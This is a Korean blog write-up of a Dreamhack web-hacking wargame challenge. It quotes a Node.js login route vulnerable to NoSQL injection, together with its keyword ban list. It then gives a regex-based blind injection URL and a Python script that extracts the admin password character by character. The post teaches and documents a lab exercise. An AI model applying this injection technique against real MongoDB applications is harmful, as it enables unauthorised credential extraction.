[웹해킹] Mango

Woo·2025년 1월 14일

워게임(웹해킹)

목록 보기
9/14

📖 문제

https://dreamhack.io/wargame/challenges/90/


📖 분석

admin 계정의 비밀번호가 이 문제의 플래그이다.
즉, admin 계정 비밀번호를 획득하면 플래그를 획득할 수 있다.

해당 문제는 문제 제목에서도 알 수 있듯이 NoSQL인 MangoDB를 사용하여 데이터베이스를 구성하였다.

📘 중요 코드 분석(main.js)

const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

Mongo DB를 사용해 DB를 구성했다.
admin, dh, admi를 BAN에 담아 사용을 못하게 하였다.
다만, 이 방법은 일시적인 방법일뿐 보안을 강화시키는 방법이 되지 못한다.

app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});

login 페이지
이용자가 쿼리로 전달한 uid와 upw로 데이터베이스를 검색하고, 찾아낸 이용자의 정보를 반환한다.

app.get('/', function(req, res) {
    res.send('/login?uid=guest&upw=guest');
});

/ 페이지
/ 페이지에서는 /login?uid=guest&upw=guest를 보낸다.

위의 사진처럼 페이지가 나온다.


📖 풀이

코드에서 MongoDB에 쿼리를 전달하는 부분을 살펴보면, 쿼리 변수의 타입을 검사하지 않는다. 이로 인해 NoSQL Injection 공격이 발생할 수 있다.

로그인에 성공했을 때 이용자의 id만 페이지에 출력하기에 해당 문제는 blind NoSQL 인젝션을 사용하여 admin의 비밀번호를 획득해야한다.

http://host1.dreamhack.games:13698/login?uid[$regex]=a.min&upw[$regex]=D.{*
위에 처럼 정규 표현식으로 써 BAN에 없는 단어로 id를 유추가능하게 만들어야한다.
이걸 계속 해서 돌려야하기에 파이썬 스크립트를 짜서 문제를 해결해보았다.

import requests, string

HOST = 'http://host1.dreamhack.games:10448'
ALPHANUMRIC = string.ascii_letters + string.digits
SUCCESS = 'admin'

flag = ''

for i in range(32):
    for ch in ALPHANUMRIC:
        response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
        print(i)
        if SUCCESS == response.text:
            flag += ch
            break

print(f'DH{{{flag}}}')

DH{}안에 플래그는 32자리라고 했기에
위의 코드를 돌리고, print(i)가 31까지 도달하면 문제의 플래그(비밀번호)를 얻을 수 있다.

profile
다덤벼

0개의 댓글